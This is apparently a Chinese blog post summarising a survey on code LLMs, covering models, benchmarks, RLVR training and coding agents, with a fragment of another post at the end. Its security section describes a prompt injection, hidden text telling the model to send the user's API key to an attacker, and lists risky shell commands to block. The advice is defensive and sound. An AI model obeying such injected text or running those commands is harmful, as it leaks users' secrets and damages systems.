Python。由于阅读了海量的通用文本，它们对需求意图的理解极强，逻辑推理能力出色。 优势： 适合处理模糊的需求、编写文档或进行跨领域的逻辑推演。 局限： 对于极度冷门的编程语言、超长代码库的依赖关系，或者某些特定 API 的细节，它们可能不如专精模型精准 代码专用模型（Code LLMs）： 代表如 DeepSeek-Coder、StarCoder2、Code Llama 和 Qwen2.5-Coder。\n特点： 它们是 “偏科生” 或 “专家”。在预训练阶段就 “猛啃” GitHub 代码、技术文档和 StackOverflow 数据。 优势： 写代码更地道，对语法细节掌握更精准，且往往开源，允许企业私有化部署。 现状： 令人惊讶的是，最新的开源代码模型（如 DeepSeek-Coder-V2 和 Qwen2.5-Coder）在代码生成任务上的表现已经可以媲美甚至超越顶尖的闭源通用模型 开源 vs 闭源：追赶与差异化的博弈 论文指出，代码大模型的发展呈现出明显的 “双轨制”：闭源模型在性能天花板上领跑，而开源模型通过架构创新（如 MoE）和数据清洗正在迅速缩小差距，甚至在某些特定任务上实现了反超。\n闭源模型：定义 “天花板” 闭源模型通常由顶尖科技公司（OpenAI, Anthropic, Google）开发，它们代表了当前技术的最前沿，且发展路径非常清晰：从单纯的代码生成走向 “Agentic”（代理化）和 “Repo-level”（仓库级）能力。\n演进路线（Evolution）：\n早期（2021-2022）： 以 Codex（GitHub Copilot 的基座）和 AlphaCode 为代表，主要解决函数级代码生成和算法竞赛问题。 中期（2023-2024）： GPT-4、Claude 3.5 Sonnet 和 Gemini 1.5 出现。重点转向长上下文（Long Context）以理解整个代码库，以及多模态能力（看懂 UI 设计图写代码）。 最新（2025+）： GPT-5 / o3-mini、Claude 4.5 和 Gemini 2.5。核心在于推理（Reasoning）和软件工程 Agent 能力。例如，它们在 SWE-bench（解决真实 GitHub Issue）上表现优异，不再只是写代码，而是能像工程师一样修 Bug、重构和测试。 核心优势：\n综合能力强： 通用逻辑推理能力极强，不仅懂代码，还懂业务逻辑。 生态统治力： 通过 API 和 IDE 插件（如 Copilot）占据了应用层的主导地位 开源模型：架构创新与专业化 开源模型的发展被论文划分为四个阶段，展现了极强的生命力，尤其是通过 MoE（混合专家）架构实现了 “以小博大”。\n四个发展阶段：\n预训练编码器阶段 : 如 CodeBERT。主要用于代码理解（如搜索、分类），还不能很好地生成代码。 生成式模型阶段 : 如 CodeT5、CodeGPT。开始尝试生成代码，架构模仿 GPT。 大模型爆发阶段 : 如 StarCoder、Code Llama、DeepSeek-Coder V1。这是开源追赶闭源的关键期，证明了用高质量代码数据训练的模型，即使参数较小，写代码也能比肩 GPT-3.5。 高级扩展与 Agent 阶段 : 如 DeepSeek-Coder-V2/V3、Qwen2.5/3-Coder。 MoE 架构是关键： 使用混合专家架构（Mixture-of-Experts），使得模型参数量巨大（如 DeepSeek-V3 达 671B），但推理成本很低（激活参数仅 ~37B），性能直逼 GPT-4 。 能力跃迁： 具备了极长的上下文（128K+）和工具使用能力，开始在 SWE-bench 等复杂任务上与闭源模型掰手腕 核心优势：\n透明与可控： 企业可以私有化部署，数据不离境，这对金融、军工等领域至关重要。 性价比： 通过 MoE 和量化技术，推理成本远低于调用闭源 API。 数据清洗的艺术： 开源社区在数据处理上非常激进（如 The Stack v2），证明了清洗干净的数据比单纯堆砌数据量更重要 开闭源模型关键差异总结：\n简而言之： 闭源模型依然在探索能力的上限（更聪明），而开源模型正在疯狂卷效率与落地的下限（更便宜、更专业）。对于开发者来说，现在的黄金组合往往是：用闭源模型做复杂架构设计和疑难杂症排查，用开源模型做日常高频的代码补全和生成。\n模型架构的 “三大进化论” 为了让 AI 写代码更快、更准、更长，模型架构经历了三次关键的技术迭代：\n进化一：从 “稠密” 到 “混合专家”（Dense -\u0026gt; MoE）\n早期的模型（如 Llama 2）是稠密模型，每生成一个字都要调用整个大脑，效率低。\n现在的趋势是 MoE（Mixture-of-Experts，混合专家） 架构，如 DeepSeek-Coder-V2 和 Qwen3 。这就像医院分科室，遇到数据库问题唤醒 “SQL 专家”，遇到前端问题唤醒 “React 专家”。这种设计让模型参数量可以做得极大（如 236B），但运行成本却很低（只激活 21B），实现了性能与成本的完美平衡。\n进化二：从 “短视” 到 “超长视距”（Long Context）\n写代码最怕 “顾头不顾尾”。早期的模型只能看几千行代码，难以理解整个项目。\n现在的模型（如 Gemini 1.5, Claude 3, Qwen2.5）支持 128K 甚至 1M+ 的上下文窗口。这意味着 AI 可以一次性 “读懂” 整个代码仓库，从而在修改一个文件时，精准识别出其他文件中受影响的依赖项，这是实现仓库级（Repository-Level）代码补全的基础。\n进化三：补全能力的质变（FIM: Fill-In-The-Middle）\n除了像聊天一样从左到右写代码，代码模型必须掌握一项绝技：FIM（中间填充）。\n在 IDE（如 Cursor, VS Code）中，你经常是在一段已有代码的中间插入逻辑。现代模型在训练时就专门强化了这种 “看前文、看后文、填中间” 的能力，这直接决定了开发者在使用 AI 插件时的 “顺滑度”。\n数据的秘密：Garbage In, Garbage Out 模型的智商上限取决于数据。论文揭示了代码预训练数据的演变趋势：从拼数量到拼质量与合规性。\nThe Stack v2 的启示： 早期随便抓取 GitHub 代码的做法已过时。现在的标杆数据集（如 The Stack v2）极其注重许可证合规（Permissive License），确保企业使用 AI 生成的代码没有版权风险。 去重与清洗： 代码库中存在大量重复代码（Copy-Paste）。高质量的数据集会进行严格的去重（Deduplication），防止模型 “死记硬背” 代码片段，而是真正学会编程逻辑。同时，必须剔除包含密码、密钥等敏感信息（PII）的数据，以保安全 。 合成数据（Synthetic Data）： 随着自然代码数据快被 “吃光”，现在的趋势是使用 AI 生成高质量的 “教科书级” 代码题目和解题步骤（如 OSS-Instruct, Evol-Instruct）来反哺模型，提升其逻辑推理能力 小结 我们已经从简单的 “代码补全” 工具（Code Completion），进化到了能理解上下文的 “智能编辑器”（如 Cursor, Windsurf），并正在向能自主解决 GitHub Issue 的 “AI 软件工程师”（如 SWE-Agent）迈进。\n模型不再一家独大： 开源模型（特别是 Qwen 和 DeepSeek 系列）在代码能力上已具备挑战 GPT-4 的实力。 MoE 是主流： 想要大模型的高智商，又要小模型的快速度，混合专家架构是当前的最优解。 数据决定天花板： 清洗干净、版权合规、包含推理过程的数据集是训练强大代码模型的关键。 读懂了这部分 “基础与演进”，你就理解了为什么现在的 AI 编程工具突然变得这么好用了 —— 因为它们的大脑（模型架构）升级了，视野（上下文）变宽了，吃的教材（数据）也更精良了。\n三、代码大模型的评估：从 “做对题” 到 “干好活” 评估代码模型远比评估聊天模型复杂。聊天可以 “言之有理即可”，但代码必须可编译、可运行、逻辑正确且无副作用。论文将评估体系拆解为三个进阶维度：指标（Metrics）、任务（Tasks）与基准（Benchmarks）。\n评估指标的进化：怎么打分？ 过去我们评价翻译软件，现在我们评价虚拟工程师。打分方式经历了三次飞跃：\n1.0 文本匹配时代：\n代表指标：CodeBLEU。\n逻辑：看 AI 写的代码和人类参考代码在字面上像不像。\n局限： 代码是灵活的，写 i = i + 1 和 i += 1 功能一样但字面不同。单纯比对文本已无法满足现代评估需求。\n2.0 执行反馈时代：\n代表指标：Pass@k。\n逻辑：不看字面，直接运行代码。给 AI 几组测试用例（Input / Output），如果 AI 生成的代码能跑通，就算对。这是目前最主流的 “硬指标”。\n意义： 它是 RLVR（可验证奖励强化学习） 的核心，也是 DeepSeek-R1 等推理模型能通过强化学习自我进化的关键 —— 因为代码跑通与否是非黑即白的客观真理。\n3.0 智能裁判时代：\n代表：CodeJudge、ICE-Score\n逻辑：用一个更强的模型（如 GPT-4）去评价小模型的代码。不仅看对不对，还看代码风格、可读性、安全性。\n前沿： 论文提到了 BigCodeReward ，这是专门评估 “奖励模型” 的基准，用来训练 AI 懂得什么是 “好代码”，不仅仅是 “能跑的代码”。\n任务分级：从 “刷题” 到 “做项目” 论文将代码任务划分为三个难度层级（Granularities），这真实反映了 AI 能力的边界：\nL1：函数级与语句级 ——“面试刷题”\n任务： 给一段注释或函数名，让 AI 补全函数体。 基准： HumanEval 和 MBPP 是这一层的 “高考题”。 现状： 现代模型（如 GPT-4, DeepSeek-Coder-V2）在这里已经能拿到 90+ 的高分，区分度越来越低，大家开始卷更难的题目，比如 LiveCodeBench，它收集最新的 LeetCode 竞赛题，防止模型 “背题”（数据泄漏）。 L2：仓库级 ——“进厂干活”\n任务： 真实开发不是写孤立的函数，而是处理跨文件依赖。比如 “在 A 文件调用 B 文件的类，并修改 C 文件的配置”。这需要模型有极强的 长上下文（Long Context）能力。 基准： RepoBench 和 CrossCodeEval。 难点： 论文指出，很多在 HumanEval 拿高分的模型，一旦扔到这里，因为看不懂整个项目结构，表现会断崖式下跌 。 L3：软件工程 Agent（SWE Agents）——“独当一面”\n任务： 给一个 GitHub Issue（比如 “修复登录页面的 500 错误”），AI 需要自己浏览代码、定位 Bug、写补丁、跑测试、提交 PR。 基准： SWE-bench 是目前的 “珠穆朗玛峰”。它直接使用真实的 GitHub 问题。 现状： 即使是顶尖模型，在 SWE-bench Verified 上的解决率也才刚突破 50%-60%，这说明 AI 离真正的 “全自动工程师” 还有很长的路要走。 被忽视的 “隐形” 赛道 除了写代码，论文还特别强调了几个容易被忽视但至关重要的评估方向：\n代码效率（Efficiency）： 代码不仅要对，还要快。EffiBench 专门测试 AI 生成代码的运行时间和内存占用。实验发现，GPT-4 生成的代码有时比人类写的慢 3 倍 。 代码翻译（Translation）： 把 Java 转成 Python，或者把 C++ 转成 Rust。这在老旧系统重构（Legacy Modernization）中价值连城 。 安全性（Safety）： AI 写的代码是否有 SQL 注入或内存泄露？CodeQL 和 Red-Teaming（红队测试）专门干这个。论文警告：开源模型经常生成功能正确但不安全的代码 如何利用这部分知识？ 如果你在选模型： 不要只看 HumanEval 分数（那是虚荣指标）。如果是做 IDE 插件，看 RepoBench（仓库级补全能力）；如果是做全自动 AI 员工，看 SWE-bench（解决实际问题能力）。 如果你在训练模型： 评估必须贯穿始终。在预训练阶段用 Pass@k 做质量过滤；在 RL 阶段用 LiveCodeBench 做防泄漏测试。 如果你在做应用： 警惕 “过拟合”。很多模型针对 HumanEval 做过优化，但在处理复杂的、带有多文件依赖的真实需求时会 “露馅”。 一句话： 代码模型的评估已经从 “像不像”（文本匹配）进化到了 “能不能用”（执行测试），最终正在向 “能不能解决复杂工程问题”（Agent 任务） 迈进。在这个环节，可执行性（Executability）和仓库级上下文（Repository Context) 是检验真理的唯一标准。\n四、代码大模型的 “成人礼”：从 SFT 到 RLVR 的进阶之路 如果说预训练是让模型 “背熟了编程字典”，那么这一部分就是让它从 “懂语法的书呆子” 进化为 “懂需求的工程师” 的关键过程。\n预训练模型虽然懂代码，但它就像一个刚毕业的学生，虽然满腹经纶，但不懂如何高效地干活。“对齐（Alignment）” 阶段的任务，就是通过监督微调（SFT）和强化学习（RL），教会它如何听懂人话、解决难题、并自我进化。\n监督微调（SFT）：从 “模仿” 到 “举一反三” SFT（Supervised Fine-Tuning）是模型职业生涯的第一站。它的核心逻辑是 “名师出高徒”—— 给模型看高质量的 “问题 - 答案” 对，让它学会模仿。\n数据的进化：不求多，但求精早期的 SFT 数据（Natural-Instruct）主要来自 GitHub 的代码注释或 StackOverflow 的问答 。但这些数据质量参差不齐。 现在的趋势是 “合成数据（Synthetic Data）”，即用更强的模型（如 GPT-4）来生成教学材料：\nSelf-Instruct： 让大模型自己生成指令和代码，自我学习 。\nEvol-Instruct： 这是关键创新。它通过一套规则，把简单的编程题变得越来越难（增加约束、增加边界条件），强迫模型学会处理复杂逻辑 。\nOSS-Instruct： 结合真实的开源代码片段，让 AI 生成对应的代码难题，解决了合成数据缺乏多样性的问题。\n能力跃迁：仓库级与思维链\n仓库级 SFT（Repo-level SFT）： 真实开发不是写单文件脚本。现在的 SFT 专门训练模型处理跨文件依赖，让它学会 “引用 A 文件的类去修复 B 文件的 Bug” 。\n思维链（CoT）： 与其直接给代码，不如先教模型 “怎么想”。SFT 阶段开始引入包含 推理步骤（Reasoning Steps） 的数据，让模型学会 “先规划，再写码”。\n强化学习（RL）：从 “做对” 到 “做好” SFT 只能让模型模仿人类，但如果人类自己也写不好代码呢？这就需要强化学习（Reinforcement Learning, RL）。它的核心逻辑是 “奖优罚劣”—— 模型写得好就给奖励，写得烂就惩罚。\nPPO vs. DPO：路线之争\nPPO（Proximal Policy Optimization）： 传统的 RL 算法，像 DeepSeek-R1 早期探索时用的就是它。它需要一个 “评分模型（Reward Model）” 来实时打分。效果好，但训练极不稳定，且极耗资源。 DPO（Direct Preference Optimization）： 后起之秀。它不需要训练复杂的评分模型，而是直接给模型看 “好的代码 A” 和 “坏的代码 B”，告诉它 “选 A 别选 B”。DPO 简单高效，已成为开源界的主流选择。 这张图将算法分为了几个阵营，论文对其中的关键节点做了详细拆解：\nPPO 流派及其进化（左侧与中间）：\nDr. GRPO: 修正了 GRPO 在训练中可能产生的回复长度偏差。\nDAPO: 改进了采样效率和显存占用。\nREINFORCE++: 也是一种无 Critic 的框架，通过全局优势归一化来稳定训练\nPPO (2017): 它是 “鼻祖”，基于价值模型（Critic）进行在线学习。论文指出它是 InstructGPT 的核心，但计算资源消耗大，且在长链条推理任务中容易出现 “价值崩溃” 。\nGRPO (2024): 这是目前的 “当红炸子鸡”（DeepSeek-R1 及其复现者 Code-R1 使用的核心算法）。\n论文特别强调了 GRPO（Group Relative Policy Optimization）。它的核心创新是去掉了 Critic 模型，改为对同一个 Prompt 采样一组（Group）输出，计算组内相对优势。这大大节省了显存，让小团队也能训练推理模型。\n2025 年的 PPO 变体： 图中密集的 Dr.GRPO、DAPO、VAPO、REINFORCE++ 等，都是为了解决 PPO / GRPO 的特定痛点：\nDPO 流派及其进化（左上）：\nDPO (2023): 它是为了解决 RLHF 太复杂而诞生的，直接用偏好数据（A 优于 B）来优化，不需要训练奖励模型 。\n变体： 论文提到了 CodeDPO 和 Focused-DPO，这些是专门针对代码任务优化的 DPO 版本，通过识别代码中的易错点来进行针对性优化，而不是像原版 DPO 那样 “眉毛胡子一把抓”。\n可以把这张图看作是 AI 对齐技术的家谱：\nPPO 是 “爷爷”，奠定了基础，但年纪大了（2017），有点笨重。 DPO 是 “父亲辈”，简化了流程，让微调变得容易。 GRPO 是当下的 “家族族长”，它证明了在推理和代码任务上，去掉 Critic 模型（去评价者）反而跑得更快、更好。 右侧那一大堆 2025 年的新算法，则是针对代码 / 数学推理这一特定垂直领域生长出来的 “孙子辈”，它们更加轻量、更加专注于利用测试用例作为奖励。 图中最右侧（2025 年）之所以如此拥挤（GEPO, SPO, GPPO, FR3E 等），是因为 RLVR（可验证奖励的强化学习） 的兴起。 在代码和数学领域，结果是对是错非常明确（编译器报错就是错，测试通过就是对）。传统的通用 RL 算法（如 PPO）在这里显得不够高效。因此，2025 年的研究集中在如何利用这种确定性的反馈信号（Verifiable Rewards）。而正是这些新兴算法让开源代码模型在逻辑推理能力上有可能追赶闭源模型。\n终极武器：可验证奖励的强化学习（RLVR） 这是本论文最硬核、也是当前最火（DeepSeek-R1 背后技术）的部分。\n传统 RL 的痛点是 “奖励难定”：代码写得好不好，很难用一个分数衡量。但在编程领域，我们有一个天然的真理判官 —— 编译器和测试用例。\nRLVR（RL with Verifiable Rewards）的逻辑： 不再依赖人类或 AI 打分，而是直接看结果。模型生成的代码能通过编译吗？能通过所有单元测试吗？\n通过 = 奖励（Reward）。 报错 = 惩罚。这种 确定性（Deterministic）的反馈信号，比人类模糊的评价要强大得多。 GRPO 算法：去掉 “裁判”，让团队赛跑 DeepSeek-R1 带火了 GRPO（Group Relative Policy Optimization）。传统的 PPO 需要一个昂贵的 “裁判模型（Critic）” 来辅助训练。GRPO 的做法是：让模型针对同一个问题生成一组（比如 16 个）不同的代码，然后只奖励其中表现最好的那几个，惩罚差的。\n优势： 不需要额外的裁判模型，节省了一半显存，且训练更稳定 效果： 论文实验显示，仅用 12K 条高质量题目进行 GRPO 训练，7B 模型在 HumanEval+ 上的通过率就能提升 5-6%。 为什么 RLVR 能产生 “顿悟”？ 在这种高强度的测试反馈下，模型会被迫学会自查（Self-Verification）和纠错。它会发现：“如果我不先在草稿纸上（思维链）推导清楚逻辑，代码就跑不通，就拿不到奖励。” 于是，推理能力（Reasoning）就作为一种为了 “赢” 而涌现出的生存技能被训练出来了\n代码大模型的 “核心技术与对齐” 板块，其实就是一部 “程序员养成记”：\nSFT（大学教育）： 通过学习大量优质教材（Evol-Instruct, CoT），掌握基础编程知识和解题套路。 RL（实习磨练）： 通过 DPO 等方法，学习人类偏好，知道什么样的代码风格是好的，什么样的注释是有用的。 RLVR（残酷职场）： 在 GRPO 和测试用例的 “毒打” 下，不再依赖死记硬背，而是学会了真正的逻辑推理和自我纠错，最终成为能独当一面的资深工程师。 这也是为什么现在的 DeepSeek-R1、Claude 3.5 Sonnet 能在编程任务上表现如此惊艳的原因 —— 它们不仅 “读过书”，更是在无数次编译报错的 “实战” 中活下来的幸存者。\n彩蛋：多模态代码生成让 AI 拥有 “程序员的眼睛” 如果说纯文本代码模型是 “后端工程师”，那么多模态代码模型就是兼具审美与逻辑的 “全栈工程师”。这一领域的终极目标是：所见即所得（What You See Is What You Get）—— 给 AI 一张草图或截图，它就能直接生成可运行的代码。它标志着 AI 从 “读懂文字” 进化到了 “看懂设计图” 和 “操作图形界面” 的阶段。\n核心挑战：不仅要 “像”，还要 “能跑” 论文指出，多模态代码生成面临两大核心挑战：\n保真度： 生成的界面必须在视觉细节、布局结构上与输入的设计图高度一致。 可执行性： 生成的代码必须语法正确，逻辑通顺，不能只是 “看起来像” 但一跑就报错的空壳。 三大核心场景 1. 前端界面生成 —— 从 “画图” 到 “代码” 这是目前最成熟、最热门的方向。\n进化路线 ：\nImage-to-Code: 最基础的任务，看截图写 HTML / CSS（起源于 pix2code）。\nDesign-to-Code: 进阶任务，直接解析 Figma 设计稿或复杂的网页截图。Design2Code 是目前的标杆基准，测试发现 GPT - 4V 在还原网页结构上依然有瑕疵。\nSketch-to-Code: 更自然的交互，看手绘草图生成代码（如 Sketch2Code）。这让非技术人员也能快速制作原型。\nInteraction-to-Code: 最难的任务。不仅要画出静态页面，还要理解 “点击按钮弹出窗口” 这种动态交互逻辑。\n技术突破：\n分层生成（Hierarchical Generation）： 像人类一样，先写大框架（骨架），再填细节（CSS 样式）。DesignCoder 就采用了这种策略。\n自我修正（Self-Correction）： 这是关键技术。比如 UICoder，它会先把生成的代码渲染成图片，然后跟原图对比（Compile-Render-CLIP），发现 “按钮颜色不对” 就自动修改代码。\n2. Web 具身智能（Web-Embodied Intelligence）——AI 浏览网页 这不仅仅是生成代码，而是让 AI 像人一样操作浏览器。\n任务逻辑： 观察（截图）-\u0026gt; 思考（下一步点哪里）-\u0026gt; 行动（生成点击 / 输入代码）。 代表作： WebVoyager 是一个里程碑，它直接看网页截图来决定操作，实现了端到端的自主浏览。 应用： 自动订票、自动填表、甚至自动玩网页游戏。这背后的核心是 AI 能准确识别网页上的 UI 元素（Visual Grounding）。 3. 软件工程制品生成（Artifact Generation）—— 图表与文档\n数据可视化（Chart-to-Code）： 给 AI 一张 Excel 图表，让它写出 matplotlib 代码来复现这张图。ChartMimic 是这一领域的评测基准，这需要极强的跨模态推理能力（理解图表数据的含义）。 UML 与流程图： 将手绘的系统架构图转化为 PlantUML 代码，或者反过来。 多模态代码生成正在将编程的门槛降到最低 ——“画” 出你的想法，AI 帮你实现。对于简单的静态页面和图表，AI 已经做得非常好（如 Vercel v0, Screenshot-to-Code）。但对于复杂的动态交互和精细的像素级还原，仍有很大提升空间。未来的 AI 不仅仅是写代码的工具，更是能直接操作所有 GUI 软件的 “超级用户”。它能看着屏幕，帮你修图、发邮件、写代码、部署上线，彻底改变人机交互的方式。\n五、从 “副驾驶” 到 “领航员”：AI Agent 的崛起与应用实战 在 AI 编程的下半场，竞争的焦点已经从 “谁的代码写得对” 转移到了 “谁能独立把活干完”。论文将这一趋势概括为从 基础模型（Foundation Models）向软件工程智能体（SWE Agents）和通用智能体（Generalist Agents） 的跃迁。 如果说前面的章节是在造 “大脑”（模型），那么这一板块就是为大脑装上 “手脚”（工具）并把它放入 “职场”（应用场景）。这是 AI 从 “代码生成器” 向 “全能数字员工” 进化的最前沿。\n软件工程 Agent（SWE Agents）：全栈开发的数字化身 现在的 AI 不再满足于只写一个函数，它开始尝试接管软件开发生命周期（SDLC）的全流程。论文通过 “瀑布模型” 将 Agent 的能力进行了详细拆解：\n需求与设计（Requirements）：\n传统的 AI 等你给指令，现在的 Agent 主动挖掘需求。例如 Elicitron 可以生成 “模拟用户” 来体验产品并提供反馈\n在设计阶段，Agent 可以像产品经理一样画原型图，甚至通过多 Agent 辩论（如 MAD 框架）来评审需求文档的合理性。\n开发与编码（Development）：\n这是最卷的领域。单一 Agent（如 AlphaCodium）通过 “生成 - 测试 - 自我修正” 的循环，能在不做任何微调的情况下大幅提升代码通过率\n多 Agent 协作（如 MetaGPT, ChatDev）则模拟了一家软件公司：CEO 定目标，CTO 设计架构，程序员写代码，测试员找 Bug。这种 “角色扮演” 能有效减少复杂任务中的逻辑混乱\nGitHub Issue 解决： 这是目前的硬核指标。SWE-Agent 和 OpenHands 是代表作，它们能自动浏览代码库、复现 Bug、编写补丁并通过测试，在 SWE-bench 上表现惊人。\n测试与维护（Test \u0026amp; Maintenance）：\nAutoDev 展示了 AI 如何介入 CI / CD 流水线，自动执行测试、分析日志甚至回滚部署\nAI 还能做 “数字法医”，通过分析系统日志（Log Analysis）来定位故障根因，或者通过模糊测试（Fuzzing）主动挖掘安全漏洞\n代码即行动（Code as Action）：通用 Agent 的新语言 论文提出了一个深刻的观点：代码不仅是软件的语言，更是 AI 与数字世界交互的通用接口\nCodeAct 范式：\n以前的 Agent 用 JSON 或文本来调用工具，效率低且易出错。 现在的趋势是 CodeAct（如 OpenInterpreter）：AI 直接写 Python 代码来操作电脑。想裁剪图片？写个 cv2 脚本；想分析数据？写个 pandas 脚本。代码本身就是最精准的行动指令，且自带逻辑控制（循环、判断）。 具身智能与环境（Environment）：\nAI 正在走出编辑器，进入浏览器和终端。WebVoyager 可以像人一样浏览网页、点击按钮；WebArena 则是一个真实的网络环境沙盒，用来训练 AI 的操作能力。 终端 Agent（Terminal Agents）： 如 Aider 和 Claude Code，它们生活在命令行里，能直接操作文件系统、Git 和编译器，是开发者的 “影子分身” 应用层爆发：谁是开发者的倚天剑？ 当前市场上的杀手级应用，分为三大流派：\nIDE 集成派：\nGitHub Copilot： 行业先驱，通过云端大模型提供实时补全，最近也加入了 Agent 模式。 Cursor： 目前的体验天花板。它不是简单的插件，而是 Fork 了 VS Code 做的深度定制。核心技术是 “Tab Model”（预测光标后的修改）和 “Composer”（多文件编辑），让开发者能用自然语言 “指挥” 整个项目。 Windsurf： 提出了 Cascade 架构，能够深入理解代码库上下文，感知开发者的意图流。 云原生派：\nAmazon Q Developer 和 Google Gemini Code Assist。它们的优势在于深度绑定自家云服务（AWS / GCP），不仅能写代码，还能帮你配置服务器、优化云架构。 终端极客派：\nAider 是这一领域的王者。它利用 Tree-sitter 构建代码库地图（Repository Map），能在有限的 Context 窗口内精准定位相关代码，是目前解决复杂 Git 任务的首选开源工具 小结 从 Chat 到 Act： AI 已经不满足于陪你聊天，它要接管键盘和鼠标。CodeAct（用代码行动）是实现这一目标的关键技术。 多 Agent 是未来： 处理复杂工程问题时，让 AI “左右互搏” 或 “分工合作”（如 MetaGPT）比单打独斗更有效。 工具的二分天下： 未来开发者可能只需要两个工具 —— 一个是智能 IDE（如 Cursor）用于创造性编程，另一个是终端 Agent（如 Aider/SWE-Agent）用于干脏活累活（修 Bug、写文档）。 这一板块告诉我们：AI 正在重塑软件工程的定义。未来的程序员，可能更像是一个 “AI 团队的架构师”，指挥一群 Agent 没日没夜地为你写代码、跑测试、修 Bug。\n六、代码大模型应用实战指南 做应用的核心痛点是：模型很聪明，但它不了解你的项目（Unknown Context）。 直接把所有代码扔进 Prompt 会撑爆上下文且贵。论文揭示了当前顶尖应用（如 Cursor, Aider）的几种解法：\n如何让模型更 “懂” 项目？ 上下文管理：RAG 与 “代码地图” 不要简单地做 RAG（检索增强生成），代码检索和文本检索完全不同。\n代码地图：\n实战策略： 参考 Aider 的做法。不要只把原始代码塞进去，而是用 Tree-sitter（语法分析工具）生成代码库的 AST（抽象语法树），提取出类名、函数签名、关键注释，构建一个 “代码骨架地图”。\n收益： 这样可以用极少的 Token（比如几百个）让模型掌握整个项目的结构，精准定位需要修改的文件，大大降低 “幻觉” 和成本。\n依赖感知检索：\n实战策略： 论文提到的 Windsurf 采用了 Cascade 架构，它不仅做向量检索（语义相似），还结合了 “调用图（Call Graph）”\n建议： 当用户问 “修改 A 函数” 时，你的应用应该顺藤摸瓜，自动把 A 调用的 B 函数、以及调用 A 的 C 函数的签名也带入 Context，防止改了一个坏了一堆。\n交互模式：CodeAct (代码即行动) 如果你需要让 AI 执行复杂任务（如 “重构整个模块”），不要让模型输出 JSON 或自然语言指令。\n实战策略： 采用 CodeAct 范式 。让模型直接写 Python 脚本 或 Shell 命令 来执行操作。 为什么： 代码不仅是输出，更是行动。Python 脚本自带逻辑判断（If / Else）和循环，模型写一段脚本就能完成 “搜索文件 -\u0026gt; 过滤内容 -\u0026gt; 批量替换” 的一整套动作，比你设计复杂的 JSON 协议要健壮得多。 Agent 工作流：如何让 AI 独立干活？ 如果你的目标是 “自动解决 GitHub Issue” 或 “自动写单测”，单体 Agent 是搞不定的。论文总结了高分 Agent 的设计模式：\n团队架构：多 Agent 协作 (Multi-Agent Collaboration) 不要试图用一个 Prompt 让模型干完所有事。论文推荐 “角色扮演工厂” 模式：\nPlanner（产品经理）： 只负责拆解需求，生成 Step-by-Step 的计划，不写代码。 Coder（程序员）： 领到计划，负责写具体文件的代码。 Reviewer / Tester（测试）： 负责运行代码，报错了就把错误日志丢回给 Coder。 实战建议： 这种分工能有效隔离上下文。Coder 不需要知道整个项目的需求背景，只需要知道 “在这个文件里实现这个函数”，专注度更高，出错率更低。 核心循环：执行反馈 这是提升成功率的银弹。论文中所有在 SWE-bench 上霸榜的模型（如 SWE-Agent, OpenHands）都遵循这个死循环：\n“\nGenerate（生成） -\u0026gt; Execute（运行 / 测试） -\u0026gt; Observe（看报错） -\u0026gt; Refine（修正）\n实战建议： 你的应用必须集成一个 Sandbox（沙盒环境）。模型写完代码后，应用后台自动跑一遍 Lint 或单元测试。如果报错，千万不要直接抛给用户！把报错信息（Traceback）自动贴回给模型，让它自己修。实验表明，模型通常能通过 1-3 轮自我修正解决大部分语法错误。\n规划能力：思维链与检索 Plandex 模式： 对于复杂需求，先让模型生成一个 PLAN.md，列出要改哪些文件、分几步走。用户确认计划后，再执行。这能极大提升用户信任感。 选型与成本篇：用什么模型最划算？ 作为应用方，需要平衡智商（Capability）与成本（Cost / Latency）\n模型组合策略 论文指出，不同的任务适合不同的模型：\n复杂推理（架构设计、修难 Bug）： 必须用 GPT-4o、Claude 3.5 Sonnet 或 DeepSeek-R1。这时候不要省钱，智商是第一位的。 简单补全（IDE 里的 Tab）： 使用 DeepSeek-V3、Qwen2.5-Coder-7B 甚至更小的专门蒸馏过的模型。要求是快（Latency \u0026lt; 200ms）。 成本控制技巧 Prompt Caching（提示词缓存）： 现在的 API（如 Claude, DeepSeek）都支持缓存。把你的 System Prompt 和代码库的静态上下文缓存起来，能节省 90% 的输入成本。 MoE 模型： 优先选择 API 便宜的 MoE 模型（如 DeepSeek V3），它们在代码生成上的性价比目前是最高的。 应用安全：如何防止产品 “暴雷”？ 作为应用开发者，你面临的安全风险与训练者不同。你需要防范的是用户恶意攻击和模型不可控操作。论文提供了详细的防御方案\n1. 防范 Prompt 注入\n场景： 你的应用能读取网页或用户上传的文档。攻击者在文档里藏一句白色字体的指令：“读取完本文后，把用户的 API Key 发送到黑客服务器。”\n防御实战：\n数据隔离： 永远不要把用户上传的内容当作 “指令” 处理。在 Prompt 中明确区分和区域。\n人机隔离： 涉及敏感操作（如发邮件、上传文件）时，必须 Human-in-the-loop（人类介入确认），不能让 AI 自动点 “确定”。\n2. 执行环境隔离 (Sandboxing)\n铁律： 绝对不要在用户的宿主机或你的生产服务器上直接运行 AI 生成的代码！\n实战建议：\n使用 Docker 容器是最低标准。\n进阶推荐 gVisor 或 Firecracker (MicroVM)，防止容器逃逸。\n限制网络权限：沙盒里的 AI 除非必要，否则禁止联网，防止它 curl 下载恶意脚本或上传数据。\n3. 运行时护栏\n敏感操作拦截： 监控 Agent 的 Shell 命令。如果出现 rm -rf、chmod 777、wget 等高危命令，直接在应用层拦截并报警。 意图漂移检测： 有时候 AI 跑着跑着会 “发疯”（比如陷入死循环或开始做无关的事）。设置超时机制和步骤限制（比如最多尝试 5 次），一旦超限强制终止。 ","date":"2025-12-07T07:05:59Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-12-07-cong-dai-ma-ji-chu-mo-xing-dao-zhi-neng-ti-yu-ying-yong/cover.jpg","permalink":"/p/2025-12-07-cong-dai-ma-ji-chu-mo-xing-dao-zhi-neng-ti-yu-ying-yong/","title":"从代码基础模型到智能体与应用"},{"content":"一、背景 为什么要搞推理平台 从实用的角度讲，搞推理平台的目的就是为了给部署、运行、维护模型打造一个良好的 “环境”。\n为什么要自己部署、运行、维护模型呢？ 全部用 API 不行吗？ 这个问题涉及到模型的功能分化。简单来讲，传统的 LLM 基座模型是很强，类似全能型选手，但在企业落地场景下并不完全适用。企业需要的是 ROI 极高的方案，企业场景下会考虑并发、延迟、成本等非常具体的指标。所以用满足单一场景且成本极低的小模型 + 基座大模型是比较务实的选择。\n一定要有 GPU （显卡资源）吗？ 不一定，有些模型在 CPU 也跑的很好。 比如 all-MiniLM-L6-v2，但绝大多数模型是需要 GPU 的。\n二、资源规划与集群架构 我们假设你的生产环境是如下图所示的 K8S 集群环境\n不止 k8s 对于一个 “模型在线推理平台（Serving 平台）”，光靠 